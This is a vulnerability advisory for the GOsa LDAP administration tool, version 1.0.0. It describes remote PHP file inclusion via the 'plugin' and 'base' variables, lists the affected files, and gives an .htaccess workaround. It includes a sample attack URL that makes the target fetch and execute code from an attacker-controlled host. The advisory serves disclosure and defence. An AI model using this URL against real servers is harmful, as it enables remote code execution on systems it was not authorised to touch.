

Name: GOnicus System Administrator
Vendor URL: <http://www.gonicus.de>
Author: Karol Więsek <appelast@drumnbass.art.pl>

Issue:

A remote attacker can inject into GOsa arbitrary PHP code that executes under the privileges of the underlying web server.

Description:

The GOnicus System Administrator is a PHP based administration tool for managing accounts/systems in LDAP databases.

Details:

A remote attacker can inject into GOsa arbitrary PHP code that executes under the privileges of the underlying web server. There are several places, where by modifying variables attacker could execute arbitrary PHP code.

By setting *plugin* variable in following files attacker could include remote files and execute them as a PHP code :

plugins/3fax/1blocklists/index.php
plugins/2administration/6departamentadmin/index.php
plugins/2administration/5terminals/index.php
plugins/2administration/4mailinglists/index.php
plugins/2administration/3departaments/index.php
plugins/2administration/2groupd/index.php

The same situation exists in file `include/help.php` where attacker could set base variable as a remote host and include remote file.

The following is a sample URL attack that would cause "target.server" to load `include/common.inc` from "attackers.server".

<http://target.server/include/help.php?base=http://attackers.server/>

GOsa does not support "**register_globals off**".
GOsa version 1.0.0 (current) is confirmed vulnerable.

Workaround:

Temporary solution is to enable apache `.htaccess` authentication in all subdirectories containing `.php` files, which are included, not accessed directly or set "allow_url_fopen off" in `php.ini` file.

Example `.htaccess` file

AuthType Basic
AuthName koza

AuthUserFile /dev/null
require valid-user